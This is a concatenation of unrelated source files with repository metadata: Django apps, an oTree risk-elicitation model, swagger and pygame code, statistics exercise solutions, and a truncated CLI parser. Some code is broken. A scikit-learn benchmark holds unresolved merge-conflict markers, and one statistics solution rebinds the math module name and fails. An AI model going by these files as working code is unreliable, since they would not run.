/src/newsletter/views.py

7225378ed79727bd2e6643723fa84cdae8fbd671

[]

no_license

Dipenjethva19/HappyFace_MVP_Newsletter_App

6106175b97db346246c937ae84f66d79df33c7d7

61d22ac9ce6caccb9d58d6ded93d134b0edfeb1a

refs/heads/master

2022-11-09T01:14:29.746277

2017-06-07T20:33:14

93,466,717

0

1

null

2022-10-27T03:52:30

2017-06-06T02:24:37

Python

UTF-8

Python

false

2,598

py

from django.conf import settings from django.shortcuts import render from .forms import ContactForm, SignUpForm from django.core.mail import send_mail from .models import SignUp # Create your views here. def home(request): title = 'Sign Up Now' # if request.user.is_authenticated: # title = 'Welcome To my App. %s' % request.user # if request.method == 'POST': # print(request.POST) form = SignUpForm(request.POST or None) context = { 'title': title, 'form': form } if form.is_valid(): instance = form.save(commit=False) full_name = form.cleaned_data.get("full_name") if not full_name: full_name = "new any user" instance.full_name = full_name # if not instance.full_name: # instance.full_name = 'Any User' form.save() context = { "title": 'Thank You' } if request.user.is_authenticated() and request.user.is_staff: for instance in SignUp.objects.all(): print(instance.email) queryset = SignUp.objects.all() context = { 'queryset': queryset } return render(request, "home.html", context) def contact(request): title = 'Contact Us' form = ContactForm(request.POST or None) if form.is_valid(): for key in form.cleaned_data: # print(key) # print(form.cleaned_data.get(key)) form_email = form.cleaned_data.get('email') form_message = form.cleaned_data.get('message') form_full_name = form.cleaned_data.get('full_name') some_html_message = """ <h1>Hello</h1> """ # print(email,message,full_name) subject = 'EmailTesting' from_email = settings.EMAIL_HOST_USER to_email = [from_email, ] contact_message = "%s: %s via %s" % ( form_full_name, form_message, form_email ) send_mail( subject, contact_message, from_email, to_email, html_message=some_html_message, fail_silently=False ) send_mail( 'Subject here', 'Here is the message.', 'from@example.com', ['to@example.com'], fail_silently=False, ) context = { 'form': form, 'title': title } return render(request, 'forms.html', context)

[ "dipenjethva19@gmail.com" ]

dipenjethva19@gmail.com

ce2059c2fc6ac68411c1e74a87f22ee1b3a945ba

330491e45677af7dc41525336296b3f322a146e6

/data_collection/svcca_test_scan.py

f34105ef9c989289953072f079e04d3f3a04d7ea

[]

no_license

arnupretorius/betterInitAtLimitedDepth_2019

c8eff9ad6340a0b8f8f30897684cc31158189c9d

a3488aba6f0003892f72e61f659178a4758061b4

refs/heads/master

2020-07-03T03:53:23.904397

2019-08-11T14:44:36

201,775,497

0

null

UTF-8

Python

false

2,024

py

import sys, os import numpy as np sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) from src.utils import load_model, get_experiment_dicts TEST_LIST_DIRECTORY = "{}/temp/".format(os.path.dirname(os.path.abspath(__file__))) TEST_LIST_PATH = "{}/test_list.txt".format(TEST_LIST_DIRECTORY) TEST_DICT_PATH = "{}/test_dict.npz".format(TEST_LIST_DIRECTORY) def write_details_to_file(dictionary, dict_index, keys=[]): for key in dictionary: if isinstance(dictionary[key], dict): write_details_to_file(dictionary[key], dict_index, keys + [key]) elif isinstance(dictionary[key], list): final_epoch_model_path = os.path.abspath(dictionary[key][-1]) # write to file (append) with open(TEST_LIST_PATH, "a") as test_list_file: [noise_type, noise_level, hyperparam_index], init_index = keys, key test_list_file.write( "{dict_index} {noise_type} {noise_level} {hyperparam_index} {init_index}\n".format( dict_index=dict_index, noise_type=noise_type, noise_level=noise_level, hyperparam_index=hyperparam_index, init_index=init_index ) ) else: raise ValueError("The dictionary provided to the write_final_epoch_path_to_file function was not in the correct format.") if __name__ == "__main__": root_dir = '../results/mnist' experiment_dicts = get_experiment_dicts(root_dir) paths_per_experiment_dict = [] for experiment_dict in experiment_dicts: model_paths = load_model(experiment_dict, path_to_results=root_dir) paths_per_experiment_dict.append(model_paths) os.makedirs(TEST_LIST_DIRECTORY, exist_ok=True) open(TEST_LIST_PATH, "w").close() np.savez_compressed(TEST_DICT_PATH, data=paths_per_experiment_dict) for index, dictionary in enumerate(paths_per_experiment_dict): write_details_to_file(dictionary, dict_index=index)

[ "arnupretorius@gmail.com" ]

arnupretorius@gmail.com

1eba6ca236ff4f6105330a8c2c4442d3537a21a8

00b762e37ecef30ed04698033f719f04be9c5545

/scripts/test_results/scikit-learn_test_results/conflicts/52_bench_sgd_covertype_actual.py

f88cf076b4bf0da384e6c9ba249ccf1ec8f143b1

[]

no_license

kenji-nicholson/smerge

4f9af17e2e516333b041727b77b8330e3255b7c2

3da9ebfdee02f9b4c882af1f26fe2e15d037271b

refs/heads/master

2020-07-22T02:32:03.579003

2018-06-08T00:40:53

null

0

null

UTF-8

Python

false

7,491

py

""" ================================ Covertype dataset with dense SGD ================================ Benchmark stochastic gradient descent (SGD), Liblinear, and Naive Bayes, CART (decision tree), RandomForest and Extra-Trees on the forest covertype dataset of Blackard, Jock, and Dean [1]. The dataset comprises 581,012 samples. It is low- dimensional with 54 features and a sparsity of approx. 23%. Here, we consider the task of predicting class 1 (spruce/fir). The classification performance of SGD is competitive with Liblinear while being two orders of magnitude faster to train:: [..] Classification performance: =========================== Classifier train-time test-time error-rate -------------------------------------------- Liblinear 11.8977s 0.0285s 0.2305 GaussianNB 3.5931s 0.6645s 0.6367 SGD 0.2924s 0.0114s 0.2300 CART 39.9829s 0.0345s 0.0476 RandomForest 794.6232s 1.0526s 0.0249 Extra-Trees 1401.7051s 1.1181s 0.0230 The same task has been used in a number of papers including: * `"SVM Optimization: Inverse Dependence on Training Set Size" <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.139.2112>`_ S. Shalev-Shwartz, N. Srebro - In Proceedings of ICML '08. * `"Pegasos: Primal estimated sub-gradient solver for svm" <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.74.8513>`_ S. Shalev-Shwartz, Y. Singer, N. Srebro - In Proceedings of ICML '07. * `"Training Linear SVMs in Linear Time" <www.cs.cornell.edu/People/tj/publications/joachims_06a.pdf>`_ T. Joachims - In SIGKDD '06 [1] http://archive.ics.uci.edu/ml/datasets/Covertype To run this example use your favorite python shell:: % ipython benchmark/bench_sgd_covertype.py """ from __future__ import division print __doc__ # Author: Peter Prettenhoer <peter.prettenhofer@gmail.com> # License: BSD Style. # $Id$ from time import time import os import numpy as np from sklearn.svm import LinearSVC from sklearn.linear_model import SGDClassifier from sklearn.naive_bayes import GaussianNB from sklearn.tree import DecisionTreeClassifier from sklearn.ensemble import RandomForestClassifier, ExtraTreesClassifier from sklearn.ensemble.gradient_boosting import GradientBoostingClassifier from sklearn import metrics ###################################################################### ## Download the data, if not already on disk if not os.path.exists('covtype.data.gz'): # Download the data import urllib print "Downloading data, Please Wait (11MB)..." opener = urllib.urlopen( 'http://archive.ics.uci.edu/ml/' 'machine-learning-databases/covtype/covtype.data.gz') open('covtype.data.gz', 'wb').write(opener.read()) ###################################################################### ## Load dataset print("Loading dataset...") import gzip f = gzip.open('covtype.data.gz') X = np.fromstring(f.read().replace(",", " "), dtype=np.float64, sep=" ", count=-1) X = X.reshape((581012, 55)) f.close() # class 1 vs. all others. y = np.ones(X.shape[0]) * -1 y[np.where(X[:, -1] == 1)] = 1 X = X[:, :-1] ###################################################################### ## Create train-test split (as [Joachims, 2006]) print("Creating train-test split...") idx = np.arange(X.shape[0]) np.random.seed(13) np.random.shuffle(idx) train_idx = idx[:522911] test_idx = idx[522911:] X_train = X[train_idx] y_train = y[train_idx] X_test = X[test_idx] y_test = y[test_idx] # free memory del X del y ###################################################################### ## Standardize first 10 features (the numerical ones) mean = X_train.mean(axis=0) std = X_train.std(axis=0) mean[10:] = 0.0 std[10:] = 1.0 X_train = (X_train - mean) / std X_test = (X_test - mean) / std ###################################################################### ## Print dataset statistics print("") print("Dataset statistics:") print("===================") print("%s %d" % ("number of features:".ljust(25), X_train.shape[1])) print("%s %d" % ("number of classes:".ljust(25), np.unique(y_train).shape[0])) print("%s %d (%d, %d)" % ("number of train samples:".ljust(25), X_train.shape[0], np.sum(y_train == 1), np.sum(y_train == -1))) print("%s %d (%d, %d)" % ("number of test samples:".ljust(25), X_test.shape[0], np.sum(y_test == 1), np.sum(y_test == -1))) print("") print("Training classifiers...") print("") ###################################################################### ## Benchmark classifiers def benchmark(clf): t0 = time() clf.fit(X_train, y_train) train_time = time() - t0 t0 = time() pred = clf.predict(X_test) test_time = time() - t0 err = metrics.zero_one(y_test, pred) / float(pred.shape[0]) return err, train_time, test_time ###################################################################### ## Train Liblinear model liblinear_parameters = { 'loss': 'l2', 'penalty': 'l2', 'C': 1000, 'dual': False, 'tol': 1e-3, } liblinear_res = benchmark(LinearSVC(**liblinear_parameters)) liblinear_err, liblinear_train_time, liblinear_test_time = liblinear_res ###################################################################### ## Train GaussianNB model gnb_err, gnb_train_time, gnb_test_time = benchmark(GaussianNB()) ###################################################################### ## Train SGD model sgd_parameters = { 'alpha': 0.001, 'n_iter': 2, } sgd_err, sgd_train_time, sgd_test_time = benchmark(SGDClassifier( **sgd_parameters)) ## Train CART model <<<<<<< REMOTE cart_err, cart_train_time, cart_test_time = benchmark( DecisionTreeClassifier(min_split=5, max_depth=None)) ======= ## print("Training GB model") >>>>>>> LOCAL <<<<<<< REMOTE ======= ## gb_err, gb_train_time, gb_test_time = benchmark( >>>>>>> LOCAL <<<<<<< REMOTE ###################################################################### ======= ## GradientBoostingClassifier(min_split=5, max_depth=10, n_iter=20, >>>>>>> LOCAL <<<<<<< REMOTE ## Train RandomForest model ======= ## learn_rate=.8, subsample=0.5)) >>>>>>> LOCAL <<<<<<< REMOTE print("") ======= >>>>>>> LOCAL ## print_row("GB", gb_train_time, gb_test_time, gb_err) ###################################################################### ## Print classification performance print_row("RandomForest", rf_train_time, rf_test_time, rf_err) print_row("Extra-Trees", et_train_time, et_test_time, et_err) print("Classification performance:") print("===========================") print("") def print_row(clf_type, train_time, test_time, err): print("%s %s %s %s" % (clf_type.ljust(12), ("%.4fs" % train_time).center(10), ("%.4fs" % test_time).center(10), ("%.4f" % err).center(10))) print("%s %s %s %s" % ("Classifier ", "train-time", "test-time", "error-rate")) print("-" * 44) print_row("Liblinear", liblinear_train_time, liblinear_test_time, liblinear_err) print_row("GaussianNB", gnb_train_time, gnb_test_time, gnb_err) print_row("SGD", sgd_train_time, sgd_test_time, sgd_err) print_row("CART", cart_train_time, cart_test_time, cart_err) print("") print("")

[ "srhee4@cs.washington.edu" ]

srhee4@cs.washington.edu

425bddbdd429969023d4fdd888c1097c5b7142ee

1b30b1d8f8f0903052ae65af48daed3866ee7fde

/swagger_client/models/tpo_data_dt_os_controller_parameters_lab_request_parameter.py

7e8d05bce4bbbf2abe8ce6ef8425e0b464eceba5

[]

no_license

my-workforce/TMB-SDK

206ff87242c13abdfd8fecbeda25b0499550f42b

bea9e8dd82240c30f7809b052a4a612202d4e607

refs/heads/main

2023-03-31T18:11:01.735690

2021-03-31T13:00:49

353,358,046

0

null

UTF-8

Python

false

3,648

py

# coding: utf-8 """ Transaction Management Bus (TMB) API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: V3.2.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class TpoDataDTOsControllerParametersLabRequestParameter(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'lab_request': 'TpoDataDTOsLabLabRequestDTO' } attribute_map = { 'lab_request': 'LabRequest' } def __init__(self, lab_request=None): # noqa: E501 """TpoDataDTOsControllerParametersLabRequestParameter - a model defined in Swagger""" # noqa: E501 self._lab_request = None self.discriminator = None self.lab_request = lab_request @property def lab_request(self): """Gets the lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. # noqa: E501 :return: The lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. # noqa: E501 :rtype: TpoDataDTOsLabLabRequestDTO """ return self._lab_request @lab_request.setter def lab_request(self, lab_request): """Sets the lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. :param lab_request: The lab_request of this TpoDataDTOsControllerParametersLabRequestParameter. # noqa: E501 :type: TpoDataDTOsLabLabRequestDTO """ if lab_request is None: raise ValueError("Invalid value for `lab_request`, must not be `None`") # noqa: E501 self._lab_request = lab_request def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(TpoDataDTOsControllerParametersLabRequestParameter, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, TpoDataDTOsControllerParametersLabRequestParameter): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

[ "fodeh@i3hub.com" ]

fodeh@i3hub.com

516ddce9995ee16a9c3d14b282864b36283da25f

0805420ce1890c36aa9e0cc1a782945464433ef6

/client/eve/common/lib/eveLocalization/__init__.py

a26d9acf4f873ae1332caf2913e0b18ee75e8119

[]

no_license

cnrat/dec-eve-serenity

4ebc3b2ab8faa6e6714dbb72b7ebcf92c4b2d75c

37519e66a5fbb0d7c417d5cf9778636991efbed8

refs/heads/master

2021-01-21T03:39:48.969227

2016-08-10T05:25:07

null

0

null

UTF-8

Python

false

211

py

# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\common\lib\eveLocalization\__init__.py from _evelocalization import *

[ "victorique.de.blois@asu.edu" ]

victorique.de.blois@asu.edu

85349b427bd1ddd389ed5a26358d73ea6ac2bbe1

535f2c4632a0c228b4de75f796c9ecead38a1981

/post/migrations/0006_rename_action_post_active.py

8257b6648e8c419ea54d9ab401d8069c2e16b207

[]

no_license

XavierLarrea/django-multi-language-blog

d0b54a16a34604c8d4fe65c7472d32dc05a6df1d

af9f53a439d979aeddeb316a55f132c8efb32631

refs/heads/main

2023-07-15T20:04:44.388310

2021-08-24T23:33:33

null

0

null

UTF-8

Python

false

355

py

# Generated by Django 3.2.4 on 2021-06-23 09:05 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('post', '0005_alter_post_slug'), ] operations = [ migrations.RenameField( model_name='post', old_name='action', new_name='active', ), ]

[ "mohamedemad1891@gmail.com" ]

mohamedemad1891@gmail.com

3122c5bca375e6b689e28626fa6ed0dc01866f47

cc0433023de4c8300770e5a645e204781c299a90

/models.py

53abe067a7c5887ebfb4cd0ab84d8fbc6555edb8

[]

no_license

ahmedsalimnuhu/Risk-preferences-python-codes

5e47783db09de415ffa64c546d33a864567ad169

eee933ffffc30d8770bd8e47874fbb35be395d54

refs/heads/master

2022-11-27T22:05:13.524564

2020-08-07T17:20:30

null

0

null

UTF-8

Python

false

10,792

py

from otree.api import ( models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer #Currency as c, currency_range ) from risk.config import * import random from random import randrange author = 'Salim Nuhu' doc = """ Certainty equivalent method as proposed by Cohen et al. (1987) and Abdellaoui et al. (2011), as well as variations thereof suggested by Bruner (2009) and Gächter et al. (2010). """ # ******************************************************************************************************************** # # *** CLASS SUBSESSION # ******************************************************************************************************************** # class Subsession(BaseSubsession): # initiate lists before session starts in round 1 # ---------------------------------------------------------------------------------------------------------------- def creating_session(self): if self.round_number == Constants.num_rounds: #self.session.config['REAL_WORLD_CURRENCY_CODE'] = Constants.KSH vchoice = random.choice(Constants.coin) self.session.vars['vchoice'] = vchoice if self.round_number == 1: n = Constants.num_choices for p in self.get_players(): # create list of lottery indices # ---------------------------------------------------------------------------------------------------- indices = [j for j in range(1, n + 1)] # create list corresponding to form_field variables including all choices # ---------------------------------------------------------------------------------------------------- form_fields = ['choice_' + str(k) for k in indices] # create list of probabilities # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'probability': probabilities = [Constants.probability + (k - 1) * Constants.step_size for k in indices] else: probabilities = [Constants.probability for k in indices] # create list of high lottery payoffs # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'lottery_hi': lottery_hi = [(Constants.lottery_hi + (k - 1) * Constants.step_size) for k in indices] else: lottery_hi = [(Constants.lottery_hi) for k in indices] # create list of low lottery payoffs # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'lottery_lo': lottery_lo = [(Constants.lottery_lo - (k - 1) * Constants.step_size) for k in indices] else: lottery_lo = [(Constants.lottery_lo) for k in indices] # create list of sure payoffs # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'sure_payoff': sure_payoffs = [(Constants.sure_payoff + (k - 1) * Constants.step_size) for k in indices] else: sure_payoffs = [(Constants.sure_payoff) for k in indices] # create list of choices # ---------------------------------------------------------------------------------------------------- p.participant.vars['cem_choices'] = list( zip( indices, form_fields, probabilities, lottery_hi, lottery_lo, sure_payoffs ) ) # randomly determine index/choice of binary decision to pay # ---------------------------------------------------------------------------------------------------- p.participant.vars['cem_index_to_pay'] = random.choice(indices) p.participant.vars['cem_choice_to_pay'] = 'choice_' + str(p.participant.vars['cem_index_to_pay']) # randomize order of lotteries if <random_order = True> # ---------------------------------------------------------------------------------------------------- if Constants.random_order: random.shuffle(p.participant.vars['cem_choices']) # initiate list for choices made # ---------------------------------------------------------------------------------------------------- p.participant.vars['cem_choices_made'] = [None for j in range(1, n + 1)] # generate random switching point for PlayerBot in tests.py # -------------------------------------------------------------------------------------------------------- for participant in self.session.get_participants(): participant.vars['cem-bot_switching_point'] = random.randint(1, n) # ******************************************************************************************************************** # # *** CLASS GROUP # ******************************************************************************************************************** # class Group(BaseGroup): pass # ******************************************************************************************************************** # # *** CLASS PLAYER # ******************************************************************************************************************** # class Player(BasePlayer): # add model fields to class player # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: for j in range(1, Constants.num_choices + 1): locals()['choice_' + str(j)] = models.StringField() del j random_draw = models.IntegerField() choice_to_pay = models.StringField() option_to_pay = models.StringField() inconsistent = models.IntegerField() switching_row = models.IntegerField() name = models.StringField( label=''' Name''', ) company = models.StringField( label=''' Name of the firm you represent''', ) position = models.StringField( label=''' Your role in the company''', ) age = models.IntegerField( label='Age', min=18, max=125) gender = models.StringField( choices=['Male', 'Female'], label='Gender', widget=widgets.RadioSelect ) educ = models.StringField( choices=['Not Gone to School', 'Primary', 'Secondary', 'Diploma(Including Nursing, Vocational and Teaching Diploma)', 'University Degree', 'Postgraduate Degree', 'Doctorate'], label=''' What is the highest level of education you have completed? ''', widget=widgets.RadioSelect ) county = models.StringField( label=''' In which county is your company/organization located ''' ) product = models.StringField( label=''' What is your organization's main product (focus area if NGO)? ''' ) # set player's payoff # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: def set_payoffs(self): # random draw to determine whether to pay the "high" or "low" outcome of the randomly picked lottery # ------------------------------------------------------------------------------------------------------------ self.random_draw = randrange(1, 100) # set <choice_to_pay> to participant.var['choice_to_pay'] determined creating_session # ------------------------------------------------------------------------------------------------------------ self.choice_to_pay = self.participant.vars['cem_choice_to_pay'] # determine whether the lottery (option "A") or the sure payoff (option "B") was chosen # ------------------------------------------------------------------------------------------------------------ self.option_to_pay = getattr(self, self.choice_to_pay) # set player's payoff # ------------------------------------------------------------------------------------------------------------ indices = [list(t) for t in zip(*self.participant.vars['cem_choices'])][0] index_to_pay = indices.index(self.participant.vars['cem_index_to_pay']) + 1 choice_to_pay = self.participant.vars['cem_choices'][index_to_pay - 1] if self.option_to_pay == 'A': if self.random_draw <= choice_to_pay[2]: self.payoff = Constants.endowment + choice_to_pay[3] else: self.payoff = Constants.endowment + choice_to_pay[4] else: self.payoff = Constants.endowment + choice_to_pay[5] # set payoff as global variable # ------------------------------------------------------------------------------------------------------------ self.participant.vars['cem_payoff'] = self.payoff # determine consistency # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: def set_consistency(self): n = Constants.num_choices # replace A's by 1's and B's by 0's self.participant.vars['cem_choices_made'] = [ 1 if j == 'A' else 0 for j in self.participant.vars['cem_choices_made'] ] # check for multiple switching behavior for j in range(1, n): choices = self.participant.vars['cem_choices_made'] self.inconsistent = 1 if choices[j] > choices[j - 1] else 0 if self.inconsistent == 1: break # determine switching row # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: def set_switching_row(self): # set switching point to row number of first 'B' choice if self.inconsistent == 0: self.switching_row = sum(self.participant.vars['cem_choices_made']) + 1

[ "noreply@github.com" ]

ahmedsalimnuhu.noreply@github.com

31c8a9268102ced0ab5dc34591ab3b96c09dec85

9b2150c5d7b71fd67bb4267e8fe93ac98658df77

/jsWriteFile.py

f791f3d4034c34c767c9f11c330e8c12db368239

[]

no_license

rupkumar1996/STL-Code

10afb1e7835e64c56354dc6f47f1b1b282fe9647

22236443df305ef9c4868ed363b49b91376600fc

refs/heads/master

2021-02-09T15:52:26.290467

2020-03-02T06:58:28

244,299,690

0

null

UTF-8

Python

false

1,671

py

import xlrd from string import Template import os import shutil def jsWriter(folder_name): if os.path.exists(folder_name +'/js'): shutil.rmtree(folder_name +'/js') shutil.copytree(os.getcwd() + '/js', folder_name+'/js') with open(folder_name+'/js/externalFile.js', "a") as fp: wb = xlrd.open_workbook(folder_name+'/scraped_data.xlsx') sheet = wb.sheet_by_index(0) nrows = sheet.nrows # print(nrows) for j in range(nrows-1): fp.writelines("\n{") fp.writelines(Template("id: \"$i\",\n").substitute(i=j+1)) fp.writelines(Template("image: \"images/$k.webp\",\n").substitute(k=j+1)) fp.writelines(Template("price: \"Rs. $price\",\n").substitute(price=int(float((str(sheet.cell_value(j+1,1)).strip()).replace(",", ""))))) fp.writelines(Template("name: \"$name\",\n").substitute(name=sheet.cell_value(j+1,0 ))) fp.writelines(Template("merchantName: \"$merchant\",\n").substitute(merchant=sheet.cell_value(j+1,5))) fp.writelines(Template("viewproductUrl: \"$url\"\n").substitute(url=sheet.cell_value(j+1,3))) fp.writelines("},") fp.close() with open(folder_name+'/js/externalFile.js', 'rb+') as f: f.seek(0,2) size=f.tell() f.truncate(size-1) f.close() with open(folder_name+'/js/externalFile.js', "a") as fp: fp.writelines('\n\n]') fp.close() rootdir = 'C:/Users/rupkumar.saha/Desktop/Ama_Files/' for folders in os.listdir(rootdir): if folders == '.DS_Store': continue print(folders) jsWriter(rootdir + folders)

[ "ayushi.agarwal@walmartlabs.com" ]

ayushi.agarwal@walmartlabs.com

f832bcd4c625f055315cb9acc7cff3c3d1d5f3f1

adffea7027bdd1c5733b3bd9361c2d32942cddbb

/blog/urls.py

e47c165886ad0490f944da1a9b8e6364db9b83a5

[]

no_license

OnlyAdel/adel_portfolio

a1cd83f9195bb1f430fe4f2bc8ea65b7b0e49bd2

1ebfbf6ce3719bba303da5fab557e756b2d3a4e3

refs/heads/main

2023-05-05T12:50:47.819869

2021-05-19T13:45:04

368,840,896

0

null

UTF-8

Python

false

193

py

from django.urls import path from . import views app_name = 'blog' urlpatterns = [ path('', views.all_blogs, name='all_blogs'), path('<int:blog_id>/', views.detail, name='detail'), ]

[ "m.adel.kadi@pm.me" ]

m.adel.kadi@pm.me

db704e6bc73086f4b513638afc26cfca69671862

4618c0152d45bcb5f54e298661a1479c643353f4

/pyengine/api/v1/GetProductDetail.py

d47126c2ec1ccde23882d215ccd30c526680ccaf

[]

no_license

pyengine/catalog

07312fb7606f6ff0b7e55359740af4a4e5d509f4

2403563c1f93d988466a12b870ce25475b0d1d92

refs/heads/master

2021-01-10T04:47:24.200088

2016-04-13T15:04:47

55,772,134

0

null

UTF-8

Python

false

454

py

from pyengine.lib.error import * from pyengine.lib.command import Command class GetProductDetail(Command): # Request Parameter Info req_params = { 'uuid': ('r', 'str'), } def __init__(self, api_request): super(self.__class__, self).__init__(api_request) def execute(self): mgr = self.locator.getManager('ProductManager') info = mgr.getProductDetail(self.params) return info.result()

[ "choonho.son@gmail.com" ]

choonho.son@gmail.com

177f201e1b4fa621de91bd02b007ad83469d8818

1225f52c16125f0f5c0ef1766b5aa24d47c6e908

/crm/contacts/admin.py

25b45e4e6ae88539a3fc42f8f66739dde74bb131

[]

no_license

Edvoy/cw_crm

4853eef48dd62645896c5f95603d9bd9e847b69a

c4449327a00b871f2275176c9ffe547dd60668ec

refs/heads/main

2023-05-02T06:34:01.245856

2021-05-27T11:52:35

366,396,092

0

2

null

UTF-8

Python

false

350

py

from django.contrib import admin from .models import Contact class ContactAdmin(admin.ModelAdmin): fields = [ 'contact_first_name', 'contact_last_name', 'contact_company', 'contact_job', 'contact_email', 'contact_phone', 'contact_notes', ] admin.site.register(Contact, ContactAdmin)

[ "edouard.voyer@gmail.com" ]

edouard.voyer@gmail.com

ab267947be157efba29c3961874240e4fe1525e0

fa60536fbc7c0d8a2a8f08f0a5b6351c77d08054

/3]. Competitive Programming/03]. HackerRank/1]. Practice/12]. 10 Days of Statistics/Day_6.py

e41bfd0b077838b4959c81b40f61a88e9381c66c

[ "MIT" ]

permissive

poojitha2002/The-Complete-FAANG-Preparation

15cad1f9fb0371d15acc0fb541a79593e0605c4c

7910c846252d3f1a66f92af3b7d9fb9ad1f86999

refs/heads/master

2023-07-17T20:24:19.161348

2021-08-28T11:39:48

400,784,346

5

2

MIT

2021-08-28T12:14:35

2021-08-28T12:14:34

null

UTF-8

Python

false

762

py

# 1st Solution------------------------------------------------ import math as m x, n, m, s = int(input()),int(input()), int(input()),int(input()) m1 = n*m s1 = m.sqrt(n)*s def cdf(x, m, s): z = (x-m)/s return 0.5*(1 + m.erf(z/(m.sqrt(2)))) print(round(cdf(x, m1, s1), 4)) # 2nd Solution------------------------------------------- import math x, n = 250, 100 s_mean, s_stdev = 2.4, 2.0 stdev = s_stdev * math.sqrt(n) cdf = 0.5*(1+math.erf((x-s_mean*n)/(stdev * math.sqrt(2)))) print(round(cdf, 4)) # 3rd Solution----------------------------------------------- from math import sqrt a, b, c, d, e = int(input()), int(input()), int(input()), float(input()), float(input()) print(round(b - (c/sqrt(a))*e, 2)) print(round(b + (c/sqrt(a))*e, 2))

[ "akashsingh27101998@gmai.com" ]

akashsingh27101998@gmai.com

d7aab49e18b51fe7d949878d6cb8b8ceb6f8d356

9f6b4712faf640cb7cea29581db466fadd7d8323

/final/general.py

6c42ecac78ddc4cb6e499fa53973072b69f44b83

[]

no_license

daniidega/proyecto_computacionGrafica

63d0975809de953643c03b030dbb72ca3ae2c86c

cf7fede2de3ff04c607ebffc0fbe89a9be71c0c9

refs/heads/master

2021-01-12T08:29:19.043186

2016-12-16T00:23:16

76,595,709

0

null

UTF-8

Python

false

114

py

import pygame ANCHO=800 ALTO=500 BLANCO=(255,255,255) NEGRO=(0,0,0) ROJO=(255,0,0) VERDE=(0,255,0) AZUL=(0,0,255)

[ "danii.75@utp.edu.co" ]

danii.75@utp.edu.co

fefbb2d228c834bce7c47910a3f7c291471595d6

1533bc7d9fad75236e9baffb1da9df3af66d2b06

/dactyl/cli.py

57d0c7c615f7ceb3192b2e32627f6730e9116a25

[ "MIT" ]

permissive

MarcelRaschke/dactyl

e3533c04cc4493f91a3aa523cb745ab27781e2d4

c93a6e455ec904685b7992c52967401f5559d7d2

refs/heads/master

2023-04-07T10:51:22.547757

2019-10-18T04:51:57

234,778,195

1

MIT

2023-04-03T23:39:18

2020-01-18T18:26:22

null

UTF-8

Python

false

6,481

py

#!/usr/bin/env python3 from dactyl.common import * import argparse class DactylCLIParser: UTIL_BUILD = "Generate static site from markdown and templates." UTIL_LINKS = "Check files in this repository for broken links." UTIL_STYLE = "Check content files for style issues." def __init__(self, utility): """Specify commandline usage and parse arguments""" parser = argparse.ArgumentParser(description=utility) noisiness = parser.add_mutually_exclusive_group(required=False) noisiness.add_argument("--quiet", "-q", action="store_true", help="Suppress status messages") noisiness.add_argument("--debug", action="store_true", help="Print debug-level log messages") parser.add_argument("--config", "-c", type=str, help="Specify path to an alternate config file.") parser.add_argument("--version", "-v", action="store_true", help="Print version information and exit.") parser.add_argument("--bypass_errors", "-b", action="store_true", help="Continue if recoverable errors occur") if utility in (self.UTIL_BUILD, self.UTIL_STYLE): parser.add_argument("--target", "-t", type=str, help="Use the specified target (from the config file).") if utility == self.UTIL_BUILD: build_mode = parser.add_mutually_exclusive_group(required=False) build_mode.add_argument("--pdf", nargs="?", type=str, const=DEFAULT_PDF_FILE, default=NO_PDF, help="Output a PDF to this file. Requires Prince.") build_mode.add_argument("--md", action="store_true", help="Output markdown only") build_mode.add_argument("--html", action="store_true", default=True, help="Output HTML files (the default)") build_mode.add_argument("--es", action="store_true", help="Output JSON for ElasticSearch upload") # HTML is the default mode static_files = parser.add_mutually_exclusive_group(required=False) static_files.add_argument("--copy_static", "-s", action="store_true", help="Copy all static files to the out dir", default=False) static_files.add_argument("--no_static", "-S", action="store_true", help="Don't copy any static files to the out dir", default=False) static_files.add_argument("--template_static", "-T", action="store_true", help="Copy only templates' static files to the out dir", default=False) static_files.add_argument("--content_static", "-C", action="store_true", help="Copy only the content's static files to the out dir", default=False) parser.add_argument("--es_upload", nargs="?", type=str, const=DEFAULT_ES_URL, default=NO_ES_UP, help="Upload documents to ElasticSearch cluster "+ "at this URL (http://localhost:9200 by default). "+ "Ignored when making PDFs.") parser.add_argument("--leave_temp_files", action="store_true", help="Leave temp files in place (for debugging or "+ "manual PDF generation). Ignored when using --watch", 